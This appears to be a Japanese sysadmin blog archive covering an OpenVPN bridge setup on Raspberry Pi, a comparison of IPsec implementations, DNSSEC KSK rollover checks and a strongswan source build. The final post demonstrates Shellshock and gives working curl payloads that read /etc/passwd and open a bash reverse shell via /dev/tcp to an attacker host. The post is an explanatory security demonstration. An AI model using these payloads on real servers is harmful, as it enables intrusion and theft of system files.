トランスポート層プロトコルは UDP を利用する(TCP over TCP 問題を避けるため)。利用するポートは念のため標準の 1194 から変えておくこととして、適当にランダムで決める。今回は 7231 とした。

4. サーバ証明書の準備

easy-rsa パッケージを利用して CA を作成し、サーバ証明書・鍵を作成する。CA 作業用ディレクトリとして、/etc/openvpn/easy-rsa を作成する。

$ sudo make-cadir /etc/openvpn/easy-rsa
$ sudo -i
# cd /etc/openvpn/easy-rsa
# ln -s openssl-1.0.0.cnf openssl.cnf
# vi vars

以下のような設定をvarファイルに記述する。

export KEY_SIZE=2048
export KEY_COUNTRY="JP"
export KEY_PROVINCE="Aichi"
export KEY_CITY="Nagoya"
export KEY_ORG="Home"
export KEY_EMAIL="root@raspberrypi.example.com"
export KEY_OU="Server"

CA を作成し、サーバ鍵・証明書を作成する。

# . vars
# ./clean-all
# ./build-ca
# ./build-key-server server

TLS Static Key と DH Keyを作成する。DH Keyの生成にはかなりの時間がかかる(Raspberry Piでは10分以上)

# openvpn --genkey --secret /etc/openvpn/server/ta.key
# ./build-dh
# cp -p keys/ca.crt keys/server.crt keys/server.key keys/dh2048.pem /etc/openvpn/server/
# exit

5. OpenVPN サービスの有効化と起動

サーバ側 OpenVPN サービス用の systemd ユニットファイルは /lib/systemd/system/openvpn-server@.service である。@の後に、サーバ設定ファイルのドットより前の名前(今回の場合は “udp7231″)を指定して有効化・起動する。

サービスを有効化し、起動する。
$ sudo systemctl enable openvpn-server@udp7231
Created symlink /etc/systemd/system/multi-user.target.wants/openvpn-server@udp7231.service → /lib/systemd/system/openvpn-server@.service.
$ sudo systemctl start openvpn-server@udp7231

これだけだと、ブリッジデバイス br0 に tap0 デバイスが組み込まれず、VPN クライアントと LAN との相互通信ができない。/etc/systemd 以下に追加の systemd ユニットファイルを作成して、その中で tap0 を br0 に追加する処理を行う。

$ sudo vi /etc/systemd/system/openvpn-bridge.service

[Unit]
Description=OpenVPN bridge service
Requires=openvpn-server@udp7231.service
After=openvpn-server@udp7231.service

[Service]
Type=oneshot
RemainAfterExit=yes
ExecStart=/bin/sh -c '/sbin/brctl addbr br0 || /bin/true'
ExecStartPost=/bin/sh -c '/sbin/brctl addif br0 tap0 || /bin/true'
ExecStartPost=/sbin/ip link set tap0 up
ExecReload=/bin/true
ExecStop=/sbin/brctl delif br0 tap0

[Install]
WantedBy=multi-user.target

brctl addbr br0 の行は本来必要ないはず(br0 の立ち上げは /etc/network/interfaces に書いてあれば自動的に実行される)なのだが、タイミングの問題で openvpn サービス起動時にまだ br0 が無い場合があり、次の行の brctl addif br0 tap0 に失敗することがあるため、念のため加えている。

上記で作成した自作サービスを起動する。
$ sudo systemctl enable openvpn-bridge
Created symlink /etc/systemd/system/multi-user.target.wants/openvpn-bridge.service → /etc/systemd/system/openvpn-bridge.service.
$ sudo systemctl start openvpn-bridge

6. iptables 設定

ローカルファイアウォール設定で、OpenVPN の利用するポートを開けておく。

iptables の設定に iptables-persistent パッケージを利用している場合は、/etc/iptables/rules.v4 を編集して以下の行を加える。

-A INPUT -p udp -m udp --dport 7231 -j ACCEPT

設定を再読み込みする。
$ sudo netfilter-persistent reload

もしiptables直接ではなくufwを使っているのであれば、以下のコマンドでサービスポートを開ける。
$ sudo ufw allow 7231/udp
$ sudo ufw reload

ブリッジ設定の場合、パケットフォワーディングの設定(sysctl -w net.ipv4.ip_forward=1)は不要。

7. クライアント側設定テンプレートの作成

設定を複数のクライアントに配布するため、元となるテンプレートファイルを作成する。

$ sudo cp /usr/share/doc/openvpn/examples/sample-config-files/client.conf /etc/openvpn/client/client.template
$ sudo vi /etc/openvpn/client/client.template

client
dev tap
proto udp
remote 203.0.113.10 7231
resolv-retry infinite
nobind
persist-key
persist-tun
remote-cert-tls server
key-direction 1
cipher AES-256-CBC
verb 3
<tls-auth>
ここに /etc/openvpn/server/ta.key ファイルの内容をペーストする。
</tls-auth>
<ca>
ここに /etc/openvpn/server/ca.crt ファイルの内容をペーストする。
</ca>
<key>
</key>
<cert>
</cert>

証明書・鍵ファイル等を別ファイルの形で配布しても良いが、設定ファイルの中に取り込む形にしてみる。設定を単一ファイルで配布できれば取り回しが良いため。

8. クライアント証明書の発行と設定ファイルの作成

テストクライアント用の設定を作成して、動作検証してみる。

まず、1番目のクライアント鍵・証明書 (client1と命名) を発行する。

$ sudo -i
# cd /etc/openvpn/easy-rsa
# . vars
# ./build-key client1
# exit

クライアント1のための設定ファイル (client1.ovpn) をテンプレートから作成する。

$ sudo cp /etc/openvpn/client/{client.template,client1.ovpn}
$ sudo vi /etc/openvpn/client/client1.ovpn

client1.ovpn ファイルの中の <cert>, <key> 各セクションの中に、作成したクライアント証明書 (client1.crt) と鍵 (client1.key) ファイルの内容をコピー&ペーストする。

作成した /etc/openvpn/client/client1.ovpn ファイルを配布して、クライアントデバイスにインストールして接続確認する。

接続成功するようなら、client2、client3、…と設定ファイルを同様に作成していく。

9. クライアント証明書の失効手続き

クライアントを使わなくなったら、証明書を失効させておく。client1を失効させるためには、以下のコマンドを実行する。

$ sudo -i
# cd /etc/openvpn/easy-rsa
# . vars
# ./revoke-all client1

openswan vs strongswan vs libreswan

IPsec の実装として、openswan / strongswan / libreswan どれを使えばいいの?というお話。

どの実装もかつてのFreeS/WAN IPsecの末裔であって、似たような設定で動作するのだけど微妙に書式が違う、というやっかいなことになっている。

openswan:
もうメンテされていない古い実装。Ubuntu 18.04 LTS も CentOS 7 もパッケージを用意していないので、あえて使う理由がない。Debian 9.x (stretch) には残っているが…
libreswan:
openswanのフォークで、現状メンテされている。RedHat/CentOS 系や Fedora、Ubuntu にも標準パッケージで用意されている。Debian 9.x (stretch) にはパッケージなし。
strongswan:
FreeS/WAN から分岐した別実装。Debian/Ubuntu 系 OS、また Fedora では標準パッケージで用意されている。RedHat/CentOS 系の場合は epel リポジトリに入っている。

ということで openswan は使わないものとして、ざっくり RedHat 系は libreswan、Debian 系は strongswan を使えば良いのではと考える。

※RedHat Enterprise Linux の場合は libreswan を推奨しているようなので、これを使うべきと思われる。
RedHat セキュリティーガイド 4.6. Libreswan を使用した仮想プライベートネットワーク (VPN) のセキュリティー保護

重要: Libreswan および Linux カーネルが実装する IKE/IPsec VPN は、Red Hat Enterprise Linux 7 で使用することが推奨される唯一の VPN テクノロジーです。その他の VPN テクノロジーを使用するリスクを理解せずに使用しないでください。

参考:
IPsec for Linux – strongSwan vs Openswan vs Libreswan vs other(?)

DNSSEC ルートゾーン KSK ロールオーバーについて

DNSSECのルートゾーンKSKロールオーバーについて、ロールオーバー前後でDNSの検索に支障が出ないよう、各所から通達が出ている。

ルートゾーンKSKロールオーバーによる影響とその確認方法について (JPRS)
KSKロールオーバーについて (JPNIC)

(2017/10月予定だった切り替えが延期され、現在は 2018/10/11 に予定されています)

1. 管理下の DNS キャッシュは DNSSEC 検証をしているか

DNS キャッシュサーバーを管理している場合は、一応気を付けたほうが良い。管理下の DNS キャッシュサーバーに対して、dig コマンドでDNSSEC 対応済みドメイン (例: jprs.jp) の情報を検索したときに、回答に ad フラグが付いていたら「キャッシュサーバーでDNSSEC署名検証が有効になっている」状態なので、更新後の鍵を設定してやる必要があるかもしれない。

adフラグが付いている例:

$ dig jprs.jp. @mydns.example.com

; <<>> DiG 9.10.3-P4-Ubuntu <<>> jprs.jp.
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 26772
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 1, AUTHORITY: 4, ADDITIONAL: 9
...

(参考: DNSSECチュートリアル~実践編~)

2. RHEL 7 / CentOS 7 + BIND の場合

named.confにデフォルトで以下の設定が入っていて、DNSSEC署名検証が有効になっている。

options {
...
        dnssec-enable yes;
        dnssec-validation yes;

        /* Path to ISC DLV key */
        bindkeys-file "/etc/named.iscdlv.key";

        managed-keys-directory "/var/named/dynamic";
...
};
...
include "/etc/named.root.key";

対処法1. パッケージアップデート

/etc/named.iscdlv.key と /etc/named.root.key に、ルートゾーンの鍵が入っている。パッケージバージョンがbind-9.9.4-38.4以降であれば、上記2ファイルに新しい鍵が追加されるので、bindのパッケージをアップデートしてしまうのが一番手っ取り早く安心できる方法ではある。

対処法2. 自動更新に任せる

9.9.4-38.3以前のパッケージを使っている場合でも、RFC5011 の自動更新に対応している。named を起動すると更新後の鍵は /var/named/dynamic/managed-keys.bind{,.jnl} として自動保存される。このため、特に何かをする必要はない。

# とはいえ、CVE-2017-3142、CVE-2017-3143への対処が9.9.4-38.5以降で行われているので、パッケージを更新した方が良い。

3. RHEL 7 / CentOS 7 + Unbound の場合

デフォルトの /var/lib/unbound/root.key には古い鍵しか入っていないが、/etc/unbound/unbound.conf に以下の記述があり、自動更新が有効になっている。

server:
...
        auto-trust-anchor-file: "/var/lib/unbound/root.key"
...

unbound のデーモンを起動すると、/var/lib/unbound/root.key に新しい鍵が追加される。

このため、これらの設定を変更していなければ、特に対処の必要はない。

4. 確認、その他

EDNS0を無効化していないこと、経路上でTCP53が通ること、フラグメントパケットが通ることも確認しておく。

大きなサイズの DNS 応答に対応できているかどうかは、DNS-OARCが確認用のレコードを用意してくれているので、以下の dig コマンドで確認できる。

$ dig +bufsize=4096 +short rs.dns-oarc.net txt

非対応のキャッシュサーバだと、以下のような回答が返ってくる。

rst.x476.rs.dns-oarc.net.
rst.x485.x476.rs.dns-oarc.net.
rst.x490.x485.x476.rs.dns-oarc.net.
"203.0.113.1 DNS reply size limit is at least 490"
"203.0.113.1 lacks EDNS, defaults to 512"
"Tested at 2017-08-31 01:19:47 UTC"

Raspbianにstrongswan 5.xをインストール

Raspberry Pi model B+ を購入して VPN 箱にしようとしたが、Raspbian OS標準のstrongswan パッケージ (=debian wheezyのパッケージ) があまりに古い (4.5.2) ので、ソースから 5.x をインストールすることにする。

1. 標準パッケージのstrongswanをアンインストール

アンインインストールする前に、起動スクリプトをバックアップしておく。

$ sudo cp /etc/init.d/ipsec /tmp

その上で、標準のstrongswanをアンインストールする。

$ sudo apt-get purge libstrongswan strongswan \
strongswan-ikev1 strongswan-ikev2 strongswan-starter

2. ビルドに必要なパッケージをインストール

$ sudo apt-get install build-essential

3. 必要そうなライブラリをインストール

$ sudo apt-get install libgmp-dev libldap2-dev \
libcurl4-openssl-dev libpam0g-dev libkrb5-dev \
libfcgi-dev libgcrypt11-dev libxml2-dev libsqlite3-dev \
libcap-dev libldns-dev libunbound-dev libsoup2.4-dev \
libtspi-dev libjson0-dev libmysqlclient-dev libpcsclite-dev

4. ビルド・インストール

wheezy-backportsパッケージのrulesファイルを参考にしてconfigureオプションを決定する。インストール先が/usr/localではなくなるけど、まあいいでしょう…
$ wget https://download.strongswan.org/strongswan-5.2.2.tar.bz2
$ tar xjf strongswan-5.2.2.tar.bz2
$ cd strongswan-5.2.2
$ ./configure \
--disable-static \
--prefix=/usr \
--exec-prefix=/usr \
--sysconfdir=/etc \
--localstatedir=/var \
--libdir=/usr/lib \
--libexecdir=/usr/lib \
--with-tss=trousers \
--enable-addrblock \
--enable-agent \
--enable-attr-sql \
--enable-ccm \
--enable-certexpire \
--enable-cmd \
--enable-coupling \
--enable-ctr \
--enable-curl \
--enable-dhcp \
--enable-dnscert \
--enable-duplicheck \
--enable-eap-aka \
--enable-eap-aka-3gpp2 \
--enable-eap-dynamic \
--enable-eap-gtc \
--enable-eap-identity \
--enable-eap-md5 \
--enable-eap-mschapv2 \
--enable-eap-peap \
--enable-eap-radius \
--enable-eap-sim \
--enable-eap-sim-file \
--enable-eap-sim-pcsc \
--enable-eap-simaka-pseudonym \
--enable-eap-simaka-reauth \
--enable-eap-simaka-sql \
--enable-eap-tls \
--enable-eap-tnc \
--enable-eap-ttls \
--enable-error-notify \
--enable-farp \
--enable-gcm \
--enable-gcrypt \
--enable-imc-attestation \
--enable-imc-os \
--enable-imc-scanner \
--enable-imc-swid \
--enable-imc-test \
--enable-imv-attestation \
--enable-imv-os \
--enable-imv-scanner \
--enable-imv-swid \
--enable-imv-test \
--enable-integrity-test \
--enable-ipseckey \
--enable-ldap \
--enable-led \
--enable-load-tester \
--enable-lookip \
--enable-md4 \
--enable-mysql \
--enable-ntru \
--enable-openssl \
--enable-pkcs11 \
--enable-radattr \
--enable-soup \
--enable-sql \
--enable-sqlite \
--enable-systime-fix \
--enable-test-vectors \
--enable-tnccs-11 \
--enable-tnccs-20 \
--enable-tnccs-dynamic \
--enable-tnc-ifmap \
--enable-tnc-imc \
--enable-tnc-imv \
--enable-tnc-pdp \
--enable-unbound \
--enable-unity \
--enable-whitelist \
--enable-xauth-eap \
--enable-xauth-generic \
--enable-xauth-noauth \
--enable-xauth-pam \
--disable-blowfish \
--disable-des \
--with-capabilities=libcap
$ make
$ sudo make install

さすがにCPUの能力が低いので、ビルドには時間がかかる。

最初にコピーしておいた起動スクリプトを戻す。
$ sudo mv /tmp/ipsec /etc/init.d/
$ sudo update-rc.d ipsec defaults

bash脆弱性(shellshock)を利用した攻撃の例

bashの脆弱性 (shellshock, CVE-2014-6271等)をそのままにしているWebサーバがある場合、環境変数 (User-AgentなどHTTPヘッダとして渡せば受け取ってくれる) に脆弱性を突く文字列+任意のコマンドを埋め込んで実行できる。

条件としては、さらにサーバ上に「bashを実行しそうな実在のCGIスクリプト」などが存在することが必要。CGIスクリプトの言語がshまたはbashであればその条件に該当するし、仮にPHPやPythonだったとしても、system関数などを使っていれば/bin/shが起動されるため該当する。

※RedHat, CentOS6では/bin/sh -> /bin/bashへのシンボリックリンクであるため上記が成立するが、Debian系など他のシステムでは成立しないかもしれない。以下はRedHat Enterprise Linux 6で検証している。

1. サーバ側でcat /etc/passwdを実行させる例

curlコマンドの-A(User-Agent:ヘッダを指定する)オプションを使用して、文字列を送り込む。

attacker-pc$ curl -A "() { :;};echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://攻撃対象サーバのホスト名orIPアドレス/cgi-bin/test.cgi

/cgi-bin/test.cgi は、実在する(かつ内部でbashを呼び出す)必要がある。

2. 攻撃者側へサーバのbashインタラクティブシェルを開く例

bashの/dev/tcp/host/port入出力エミュレート機能というのがあって、デバイスファイルへの書き込みが特定ホスト/ポートへのTCPパケット送出となるようになっている。

参考: suztomoの日記 – ncコマンドとbashの/dev/tcpで通信

以下、この機能を使って攻撃者側にシェルプロンプトを開いてみる実行例。
攻撃者は端末(tty1)で、ncコマンドなどを使いTCPの特定ポートを待ち受ける。以下の例では3333番ポートである。

attacker-pc-tty1$ nc -l -p 3333

このtty1端末はそのまま待ち受け状態となる。

ここでもう一つ端末(tty2)を立ち上げて、攻撃用のcurlコマンドを実行する。

attacker-pc-tty2$ curl -A "() { :;};/bin/bash -i >& /dev/tcp/攻撃者PCのグローバルIPアドレス/3333 0>&1" http://攻撃対象サーバのホスト名orIPアドレス/cgi-bin/test.cgi

すると、さきほどのtty1にサーバのシェルプロンプトが現れる。

attacker-pc-tty1$ nc -l -p 3333
bash: no job control in this shell
bash-4.1$ 

サーバ側から攻撃者PCのTCP3333番へ接続され、bashの入出力が接続された状態となった。

apacheの権限でできることであれば、ここから何でもインタラクティブに実行可能である。

※SELinuxが有効になっていれば、2.のパターンの実行は阻止される。このときhttpdのエラーログに”sh: /dev/tcp/aa.bb.cc.dd/3333: Permission denied”が記録される。

実験環境:
RedHat Enterprise Linux 6.5 x86_64
bash-4.1.2-15.el6_4

参考にしたサイト:
x86-64.jp – bashの脆弱性がヤバすぎる件
ワルブリックス株式会社 – BASHの脆弱性でCGIスクリプトにアレさせてみました
もろず blog – bash の脆弱性 “Shell Shock” のめっちゃ細かい話 (CVE-2014-6271)